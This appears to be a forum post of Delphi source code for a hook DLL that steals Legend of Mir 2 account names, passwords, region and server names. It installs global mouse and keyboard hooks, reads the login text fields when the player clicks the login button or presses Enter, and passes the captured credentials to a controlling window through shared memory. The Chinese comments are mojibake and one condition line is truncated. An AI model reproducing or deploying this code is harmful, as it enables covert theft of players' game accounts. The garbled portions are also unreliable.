[GMAT]获取“传奇”密码、区域、服务器的主要代码
?ñÈ?????Ææ??ÃÜÂë??ÇøÓò???þÎñÆ?µÄÖ?Òª?úÂë unit unitHook;
interface
?,?,
function EnableHook:Boolean;stdcall //ÓÐÐ???×Ó?ÌÐò
function DisableHook:Boolean;stdcall; //ÎÞÐ???×Ó?ÌÐò
?,?,
implementation
?,?,
//ÁÐ?Ù×Ó??ÌåµÄ?ص?º?Êý
function EnumChildWindowsProc(hChild: HWnd): Boolean; stdcall;
var
szClassName: array[0..255] of char; begin
Result := True; //Éè??ΪTrue?Å?áÔÙÕÒÏÂÒ??ö GetClassName(hChild, szClassName, 255); if StrPas(szClassName)='TEdit' then begin inc(numEdit);
if numEdit=1 then
hEdit2:= hChild //ÃÜÂë
else if numEdit=2 then
hEdit1:= hChild //Õ˺Å
end;
end;
//È?ÃÜÂë
procedure GetPassword;
var
ss,ID,PW:string;
begin
numEdit:=0;//Ê??ðTEdit?Ø?þÊýÁ?
EnumChildWindows(hActiv, @EnumChildWindowsProc, 0);//ÁÐ?Ù?Ø?þ
if numEdit=2 then begin
ID:=trim(GetCaption(hEdit1));
PW:=trim(GetCaption(hEdit2));
if (ID<>'')and(PW<>'') then begin nNext:=3;
ss:=Format('Õ˺Å=%s,ÃÜÂë=%s',[ID,PW])+' '+FormatDateTime('yyyy-mm-dd
hh:nn:ss',Now);
StrCopy(@pShMem^.Text,PChar(ss)); PostMessage(pShMem^.hMainWnd, WM_MOUSEPT, 2, 2); //Í?Öª
end;
end;
end;
//È??þÎñÆ?Ãû
procedure GetServerName;
const
x1=310;x2=477;
y1=144;
d=3; //?þÎñÆ?Ãû??Å??ä?ô
step=42; //?þÎñÆ?Ãû??Å?????
var
P : TPoint;
yy, n1, n2 : integer;
IniFileName, Ident, ss : string;
begin
GetCursorPos(P); //?ñÈ?µ?Ç?Êó?êµÄ×ø?ê
if (p.Xx2) or (p.Y'' then begin
ss:=ss+' '+FormatDateTime('yyyy-mm-dd hh:nn:ss',Now); StrCopy(@pShMem^.Text,PChar('?þÎñÆ?='+ss)); //PostMessage(pShMem^.hMainWnd, WM_MOUSEPT, 2, 2); //Í?Öª PostMessage(pShMem^.hMainWnd, WM_MOUSEPT, 10, 2); //Í?ÖªÈ?ÐÅÏ?,????À???ËÍ
end;
end;
//Êó?ê??×Ó?ý?Ì??ÓÉÅÐ?ÏÊó?êµÄ??×?À??ö??writetotxt //?ÎÊý?Ö?ðÊÇ??×Ó?úÂë??wParamÊó?êÏûÏ?ºÅ??lParamÖ?ÏòÒ??öMOUSEHOOKSTRUCT
???üº?ÁËÓÐ?ØÊó?êÊÂ?þµÄÐÅÏ???
function MouseHookPro(iCode:integer; wParam:wparam; lParam:lparam):
LResult;stdcall;export;
var
hControl : HWND;
WinClass, WinText, ss : string;
P:TPoint;
rcWin:TRect;
begin
if (iCode=HC_ACTION) and (wParam=WM_LBUTTONUP) then begin//Èç?ûÊÇÊó?êµ???µÄÏûÏ?
hActiv:=GetActiveWindow;
WinClass:=GetClass(hActiv);
if Uppercase(WinClass)='TFRMMAIN' then begin WinText:=GetCaption(hActiv);
if WinText='??Ææ?Í???Ë' then begin
hControl:=FindWindowEx(hActiv,0,'TComboBox',nil); if hControl<>0 then begin //ÊÇÇøºÅÑ?Ôñ???Ú
GetWindowRect(hActiv,rcWin);
P.X:= PMouseHookStruct(lParam)^.pt.X - rcWin.Left; P.Y:= PMouseHookStruct(lParam)^.pt.Y - rcWin.Top; if(P.X>=200)and(P.X<=280)and(P.Y>=348)and(P.Y<=380)then begin//??È?ÈÏ????Å?
ss:='ÇøºÅ='+GetCaption(hControl)+' '+FormatDateTime('yyyy-mm-dd hh:nn:ss',Now);
StrCopy(@pShMem^.Text,PChar(ss));
PostMessage(pShMem^.hMainWnd, WM_MOUSEPT, 2, 2); //Í?Öª end;
end;
end else if WinText='legend of mir2' then begin if nNext=3 then begin
GetServerName; //È??þÎñÆ?Ãû,ÓëÏÂ?ÎÏȺóË?Ðò??Äܵߵ? nNext:=0;
end;
P:=PMouseHookStruct(lParam)^.pt;
if(P.X>=421)and(P.X<=501)and(P.Y>=336)and(P.Y<=371)then //[Ìá??]??Å?
GetPassword; //È?ÃÜÂë,ÓëÉÏ?ÎÏȺóË?Ðò??Äܵߵ?
end;
end;
end;
Result:=CallNextHookEx(mousehook,iCode,wParam,lParam); end;
//?üÅÌhook??wParam ?üASCIIÂë
function KeyboardHookPro(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT;
stdcall; export;
var
WinClass, WinText : string;
begin
if (iCode=HC_ACTION) and
((lParam and $80000000)=0) and //$80000000?üÅÌÑÚÂë??Á? (wParam=$0D) then begin //$0D?Ø?µ?ü
hActiv:=GetActiveWindow;
WinClass:=GetClass(hActiv);
WinText:=GetCaption(hActiv);
if (Uppercase(WinClass)='TFRMMAIN')and(WinText='legend of mir2') then begin
GetPassword;//È?ÃÜÂë
end;
end;
Result := CallNextHookEx(keyboardhook, iCode, wParam, lParam); end;
//ÓÐÐ???×Ó?ÌÐò
function EnableHook:boolean;stdcall;export;
begin
if mousehook=0 then
mousehook:=SetWindowsHookEx(wh_mouse,MouseHookPro,HInstance,0);//Êó?ê??×Ó if keyboardhook=0 then
keyboardhook:=SetWindowsHookEx(wh_keyboard,KeyboardHookPro, hinstance,0);//?üÅÌ??×Ó
Result:=(mousehook<>0)and(keyboardhook<>0);
end;
//ÎÞÐ???×Ó?ÌÐò
function DisableHook:boolean;stdcall;export;
begin
if mousehook<>0 then
if UnHookWindowsHookEx(mousehook) then mousehook:=0;//Êó?ê??×Ó if keyboardhook<>0 then
if UnHookWindowsHookEx(keyboardhook) then keyboardhook:=0;//?üÅÌ??×Ó Result:=(mousehook=0)and(keyboardhook=0);
end;
initialization
{Èç?ûÓ?ÉäÎÄ?þÒÑ?,?æÔÚÔò?ò?ª}
hMappingFile := OpenFileMapping(FILE_MAP_WRITE, False, MappingFileName); if hMappingFile = 0 then
{????Ó?ÉäÎÄ?þ}
hMappingFile := CreateFileMapping($FFFFFFFF, nil,PAGE_READWRITE, 0, SizeOf(TShareMem), PChar(MappingFileName));
if hMappingFile <> 0 then begin
{?ä?úpShMemÖ?ÏòÓ?ÉäÎÄ?þµØÖ?}
pShMem := PShareMem(MapViewOfFile(hMappingFile,FILE_MAP_WRITE,0,0,0));
if pShMem = nil then begin CloseHandle(hMappingFile); MessageBox(0,'??ÄÜ??Á???ÏíÄÚ?æ!','',0);
exit;
end;
end;
mousehook:=0;
keyboardhook:=0;
nNext:=0;
finalization
UnMapViewOfFile(pShMem); CloseHandle(hMappingFile);
end.